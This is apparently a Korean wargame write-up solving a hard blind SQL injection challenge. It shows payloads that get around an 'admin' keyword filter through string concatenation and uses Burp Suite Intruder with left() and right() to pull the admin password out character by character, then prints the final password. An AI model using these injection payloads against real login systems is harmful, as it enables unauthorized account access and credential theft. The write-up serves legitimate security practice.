23번 문제
문제 :
22번 문제랑 비슷한데 Hard Bilnd SQL Injection이라고 되었다.. 더 어려운가 보다.
개발자 도구 확인 :
목표 : admin의 비번 찾기
힌트 1 : id : guset, pw : guest
힌트 2 : admin 글자를 우회해야 함
시작 전 확인하기
1) guest, guest로 로그인해보았다. >> 결과 OK guest
2) 틀린 id, pw 입력 >> 결과 False
3) admin입력 >> 결과 No Hack
밑에 설명처럼 admin 글자 자체가 필터링되어 있는 거 같음.
22번 문제에서 성공했던,
주석, len 함수, substring 함수 시도해보기
1) 주석 :
guest'--
성공!
2) len 함수
guest' and len(pw) =5--
성공!
3) substring 함수는 이미 필터링되어 있으나, right, left함수는 필터링 안됨.
guest' and left(pw,1)='g'--
성공!
필터링 키워드를 보니,
ascii는 필터링 안되어 있기 때문에, admin을 ascii로 변환하면 될 거 같았는데 ascii도 필터링되어 있음.
하지만 22번 문제와 달리, or 함수는 사용 가능.
guest' or 1=1--
혹시나 하고 글자를 '+'를 이어 붙이는 것처럼 해보았는 데 성공
admi'+'n'--
뒤에 and를 붙여서 len함수를 함께 써본다.
admi'+'n' and len(pw)>11--
admi'+'n' and len(pw)=12--
비밀번호는 12자리로 확인된다.
하지만 substring은 사용이 불가능하니까 left 함수를 활용해본다.
admi'+'n' and left(pw,1)='a'--
필터링되지 않고 False라는 결과 값이 나온다.
여기까지 확인했으니까 Burp Suite의 intrude 기능을 사용하여서 비밀번호 첫번째 글자를 찾아본다.
실행 결과 :
첫 번째 글자 : v
이후 두번째 글자도 추가로 진행하고 싶었다.
admi'+'n' and left(pw,2)='va'--
하지만, 'No Hack'이라는 결과가 나옴... 글자길이 제한이 있는지 두번째 글자부터는 안됨.
1' or left(pw,1)='g'-- 를 입력하면 guest로 로그인되는 것에서 착안 (g로 시작하는 비번으로 로그인)
1' or left(pw,1)='v'-- 를 입력하니 admin으로 로그인이 된다. (v로 시작하는 비번으로 로그인)
1' or left(pw,2)='v?'-- 에서 ?부분을 intruder 기능을 활용하여 찾으니,
3이다.
성공!
다음은, 1' or left(pw,3)='v3?'-- 을 이용했다.
세 번째 값 : r
네 번째 값 : y
다섯 번째 값 : h
여섯 번째 값 : a
일곱 번째 값 : r
여덟 번째 값 : d
아홉 번째 값 : s
1' or left(pw,10)='v3ryhards?'-- 라고 입력하면
열 번째 값부터는 'No Hack'이라는 글자가 뜨면서 사용할 수 없다.
그러면, 비밀번호가 12자리인걸 아니까, right 함수를 활용한다.
1' or right(pw,1)='?'--
열두 번째 값 : i
열한 번째 값 : l
열 번째 값 : q
결과 : v3ryhardsqli